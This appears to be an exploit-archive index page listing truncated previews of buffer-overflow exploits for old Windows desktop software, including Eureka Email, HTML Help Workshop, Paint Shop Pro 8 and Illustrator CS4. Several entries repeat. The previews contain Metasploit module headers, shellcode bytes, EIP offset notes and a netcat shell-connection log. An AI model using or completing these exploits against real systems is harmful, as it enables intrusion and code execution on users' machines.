Eureka Email 2.2q ERR Remote Buffer Overflow

This module exploits a buffer overflow in the Eureka Email 2.2q client that is triggered through an excessively long ERR message. NOTE: this exploit isn't very reliable. Unfortunately reaching the vulnerable code can only be done when manually checking mail Ctrl-M. Checking at startup will not...

Audio Workstation 6.4.2.4.0 Buffer Overflow

!/usr/bin/python Audio Workstation v6.4.2.4.0 .pls Universal Local BoF Exploit Credits: germayax Coded by: mrme Tested on Windows XP SP3 Note: For educational purposes only mrme@home:$ nc -v 192.168.0.6 4444 192.168.0.6: inverse host lookup failed: Unknown server error : Connection timed out...

Easy RM to MP3 Converter 2.7.3.700

No description provided by source. import sys print "\n============================" print " Easy RM to MP3 Converter 2.7.3.700 .m3u File Buffer Overflow Exploit " print " Tested on Windows XP SP3 " print "============================\n" calc.exe - 85 bytes shellcode...

Eureka Email 2.2q ERR Remote Buffer Overflow Exploit (meta)

No description provided by source. class Metasploit3 Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::TcpServer include Msf::Exploit::Egghunter def initializeinfo = superupdateinfoinfo, 'Name' = 'Eureka Email 2.2q ERR Remote Buffer Overflow Exploit', 'Description' = %q This...

Audio Workstation 6.4.2.4.0 - .pls Universal Local Buffer Overflow

Audio Workstation 6.4.2.4.0 - .pls Universal Local Buffer Overflow !/usr/bin/python Audio Workstation v6.4.2.4.0 .pls Universal Local BoF Exploit Credits: germayax Coded by: mrme Tested on Windows XP SP3 Note: For educational purposes only mrme@home:$ nc -v 192.168.0.6 4444 192.168.0.6: inverse...

HTML Help Workshop 4.74 (hhp Project File) BOF Exploit (Meta)

Exploit for unknown platform in category local exploits ========================================================================= HTML Help Workshop 4.74 hhp Project File Buffer Overflow Exploit Meta ========================================================================= Title: HTML Help Worksh...

HTML Help Workshop 4.74 - '.hhp' Local Buffer Overflow (Metasploit)

require 'msf/core' class Metasploit3 'HTML Help Workshop 4.74 hhp Project File Buffer Overflow Exploit', 'Description' = %q This module exploits a stack overflow in HTML Help Workshop 4.74 By creating a specially crafted hhp file, an an attacker may be able to execute arbitrary code. , 'License' ...

M3U To ASX-WPL 1.1 - .m3u Local Buffer Overflow

M3U To ASX-WPL 1.1 - .m3u Local Buffer Overflow exploit.py M3U To ASX-WPL 1.1 m3u Playlist file Buffer Overflow Exploit By: Encrypt3d.M!Nd http://m1nd3d.wordpress.com/ SEH Overwrite method - you can use simple jmp esp accourding to my calculations EIP Would Change after 1378 bytes.it may be...

M3U To ASX-WPL 1.1 (m3u Playlist file) Buffer Overflow Exploit

No description provided by source. exploit.py M3U To ASX-WPL 1.1 m3u Playlist file Buffer Overflow Exploit By: Encrypt3d.M!Nd http://m1nd3d.wordpress.com/ SEH Overwrite method - you can use simple jmp esp accourding to my calculations EIP Would Change after 1378 bytes.it may be diffrent on other...

M3U To ASX-WPL 1.1 - '.m3u' Local Buffer Overflow

exploit.py M3U To ASX-WPL 1.1 m3u Playlist file Buffer Overflow Exploit By: Encrypt3d.M!Nd http://m1nd3d.wordpress.com/ SEH Overwrite method - you can use simple jmp esp accourding to my calculations EIP Would Change after 1378 bytes.it may be diffrent on other systems. ns = "\xeb\x15\x90\x90" sh...

Audacity 1.2.6 (gro File) Buffer overflow Exploit

Exploit for unknown platform in category local exploits ================================================= Audacity 1.2.6 gro File Buffer overflow Exploit ================================================= Title: Audacity 1.2.6 gro File Buffer overflow Exploit CVE-ID: OSVDB-ID: Author: Encrypt3d.M!...

Microsoft HTML Help Workshop 4.74 - '.hhp' Local Buffer Overflow (1)

exploit.py HTML Help Workshop 4.74 hhp Project File Buffer Overflow Exploit By: Encrypt3d.M!nd http://m1nd3d.wordpress.com/ Based on: http://www.milw0rm.com/exploits/7727 Well, I've tested SKD Exploit on Win 7 and didn't work.I Think it's Shellhunter compatibility problem. so i wrote this and use...

Jasc Paint Shop Pro v8 Local Buffer Overflow Exploit (UNIVERSAL)

Exploit for unknown platform in category local exploits ================================================================ Jasc Paint Shop Pro v8 Local Buffer Overflow Exploit UNIVERSAL ================================================================ Title: Jasc Paint Shop Pro v8 Local Buffer...

Jasc Paint Shop Pro 8 - Local Universal Buffer Overflow

Jasc Paint Shop Pro 8 - Local Universal Buffer Overflow / Software: Jasc Paint Shop Pro v8 Local Buffer Overflow Exploit UNIVERSAL Bug type: Local buffer overflow Exploitation method: SEH handler overwrite Description: When a crafted .PNG file is oppened a stack buffer overflow occurs because of...

Jasc Paint Shop Pro 8 Buffer Overflow

/ Software: Jasc Paint Shop Pro v8 Local Buffer Overflow Exploit UNIVERSAL Bug type: Local buffer overflow Exploitation method: SEH handler overwrite Description: When a crafted .PNG file is oppened a stack buffer overflow occurs because of DEP a SEH handler is overwriten and I overwriten his...

Adobe Illustrator CS4 (V14.0.0) Encapsulated Postscript (.eps) Overlong DSC Comment Buffer Overflow Exploit

?php / Adobe Illustrator CS4 V14.0.0 Encapsulated Postscript .eps overlong DSC Comment Buffer Overflow Exploit by Nine:Situations:Group::pyrokinesis site: http://retrogod.altervista.org/ An overlong string as DSC comment more than 42000 bytes results in a direct EIP overwrite. Exception is...

Jasc Paint Shop Pro 8 - Local Universal Buffer Overflow

/ Software: Jasc Paint Shop Pro v8 Local Buffer Overflow Exploit UNIVERSAL Bug type: Local buffer overflow Exploitation method: SEH handler overwrite Description: When a crafted .PNG file is oppened a stack buffer overflow occurs because of DEP a SEH handler is overwriten and I overwriten his...

Adobe Illustrator CS4 Buffer Overflow

?php / Adobe Illustrator CS4 V14.0.0 Encapsulated Postscript .eps overlong DSC Comment Buffer Overflow Exploit by Nine:Situations:Group::pyrokinesis site: http://retrogod.altervista.org/ An overlong string as DSC comment more than 42000 bytes results in a direct EIP overwrite. Exception is...

Adobe Illustrator CS4 14.0.0 - Encapsulated Postscript .eps Local Buffer Overflow

Adobe Illustrator CS4 14.0.0 - Encapsulated Postscript .eps Local Buffer Overflow ?php / Adobe Illustrator CS4 V14.0.0 Encapsulated Postscript .eps overlong DSC Comment Buffer Overflow Exploit by Nine:Situations:Group::pyrokinesis site: http://retrogod.altervista.org/ An overlong string as DSC...

Adobe Illustrator CS4 14.0.0 - Encapsulated Postscript '.eps' Local Buffer Overflow

?php / Adobe Illustrator CS4 V14.0.0 Encapsulated Postscript .eps overlong DSC Comment Buffer Overflow Exploit by Nine:Situations:Group::pyrokinesis site: http://retrogod.altervista.org/ An overlong string as DSC comment more than 42000 bytes results in a direct EIP overwrite. Exception is...